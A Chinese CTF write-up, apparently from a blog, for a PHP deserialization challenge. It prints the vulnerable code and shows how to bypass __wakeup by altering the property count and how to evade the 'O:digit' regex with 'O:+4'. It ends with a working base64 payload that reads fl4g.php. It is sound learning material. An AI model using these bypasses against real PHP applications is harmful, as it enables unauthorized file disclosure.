首页 > 编程语言 >CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize

CTFer成长记录——CTF之Web专题·攻防世界-Web_php_unserialize

时间:2023-08-07 21:34:59浏览次数:29  
标签:__ Web 序列化 Demo unserialize CTF file fl4g php

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  本题考察的是反序列化,反序列化的题都需要审计php代码,步骤也比较固定。

<?php 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

  从下面看起,首先需要用GET方式传入参数var,然后对其进行base64解密,然后进行正则表达式匹配,其匹配规则是出现[o]+数字,或者[c]+数字就会被过滤,最后反序列化。

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

  构造参数主要看题目所给的类,首先题目给出,flag藏在fl4g.php里面,我们需要控制Demo类的成员变量$file,使其等于fl4g.php:$a=new Demo('fl4g.php');

  PS:这里实例化对象的时候,由于是有参构造,需要在实例化的时候对成员变量进行赋值。

  那么如果没有过滤,接下来就是序列化传参了,这里涉及到三个过滤:

第一个__wakeup()函数的过滤:wakeup()函数:发生在反序列化时,如果存在该函数,自动调用该函数。其漏洞是,如果序列化后的字符串中,表示属性个数的数字与真实属性个数一致,那么就会调用,否则不调用。首先看下,序列化后的属性个数:"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";},其中表示属性的数字就是 "Demo":1,的这个1,意思是有一个成员变量。

绕过方式:$a=str_replace(':1:',':2:',$a),即将属性个数改成2个。

第二个正则表达式过滤:绕过o:数字:$a=str_replace('O:4','O:+4',$a)

第三个Base64加密:$a=base64_encode($a)

  payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

三、总结

  本题考察的是反序列的知识点,需要知道对象被序列化后的形式,然后需要知道__wakeup()函数的调用时机及其绕过方式,对于序列化的正则表达式的绕过方式可以积累下来。

标签:__,Web,序列化,Demo,unserialize,CTF,file,fl4g,php
From: https://www.cnblogs.com/miraclewolf/p/17612761.html

相关文章

  • webstorm无法启动、重装后无法启动(mac)
    #删除配置信息目录rm-rf~/Library/Preferences/WebStorm*#删除插件信息目录rm-rf~/Library/Application\Support/WebStorm*#缓存信息目录rm-rf~/Library/Caches/WebStorm*#删除日志信息目录rm-rf~/Library/Logs/WebStorm*#删除Webstorm.vmoptions......
  • Java Web Service Get请求使用指南
    JavaWebServiceGet请求使用指南在当今互联网时代,WebService已经成为了现代软件开发中不可或缺的一部分。而Java作为一种广泛使用的编程语言,自然也提供了丰富的工具和库来支持WebService的开发。本文将为大家介绍如何使用Java编程语言进行WebService的Get请求。JavaWebserv......
  • 软件测试|web自动化测试神器playwright教程(二十七)
    前言使用selenium进行web自动化测试,如果我们打开了多个网页,进行网页切换时,我们需要先获取各个页面的句柄,通过句柄来区分各个页面,然后使用switch_to.window()实现切换,这样的操作比较麻烦,playwright的网页切换比selenium更为简单快捷。本文就给大家介绍一下playwright多个网页的切......
  • 软件测试|web自动化测试神器playwright教程(二十八)
    前言在我们使用部分网站的时候,我们会遇到进行日期选择的问题,比如我们预定火车票或者预定酒店,需要选择发车日期或者酒店的入住与退房时间。我们执行自动化测试遇到日期控件时,如果可以输入,可以使用selenium的send_keys()方法进行输入,playwright同样也可以实现对日期控件的操作,本文......
  • 10 web服务
    web服务有三个角色:服务请求者、服务提供者、服务注册中心(登记服务并对其接口进行描述)。服务注册中心通过UDDI协议进行对服务的查询和发布。服务注册中心相当于生活中的搜索引擎。发现服务使用UDDI协议描述服务用WSDL协议:WSDL就是webService接口对应的WSDL文件,该文件通过xml格......
  • 牧云·云原生安全平台使用手册:镜像/容器/Web资产清点
    牧云·云原生安全平台 是长亭牧云团队以开源社区为生态载体技术积累为驱动所打造的云原生安全平台。本文将介绍如何使用牧云·云原生安全平台进行镜像/容器/Web资产清点。首先,在我们进行下面 镜像/容器/Web资产清点前,我们需要先安装探针进行资产的采集工作。探针的安装包括本地......
  • 国标GB28181视频平台LntonGBS(源码版)国标视频平台隐藏平台web页面不被访问的操作步骤
    LntonGBS国标视频云服务通过支持国标GB28181协议,实现了设备接入、实时监控直播、录像、语音对讲、云存储、告警、级联等功能。同时,它还支持将接入的视频流以多种格式(包括RTSP、RTMP、FLV、HLS、WebRTC)进行全终端、全平台分发,实现了无插件播放在Web浏览器、手机浏览器、微信端、PC客......
  • 阿里云: web如何直传oss & 常见问题
    阿里云:web如何直传oss&常见问题 如何使用input.Type=‘file‘拿到文件对象1、在页面中添加<inputtype="file"style="display:none"ref="input"@input="upload">在需要上传文件的地方增加<button@click="$refs.input.click()">......
  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWei题目来源:nssctf题目类型:web涉及考点:PHP反序列化、PHP伪协议1.还是日常代码审计<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r&#......
  • 天翼云重磅升级边缘WAF能力,助力企业高效应对Web安全威胁!
    “2022年,网络高危漏洞数量同比增长了13%;Q2遭受攻击的API数量月均超过了25万;物联网的普及大大降低了DDoS的攻击成本,大流量攻击指数显著提升;恶意Bot流量仍在持续增长,2022年上半年Bot流量约占整体互联网流量的60%,平均每月达到110亿+,而其中具备恶意攻击性的Bot流量占比则高达46%............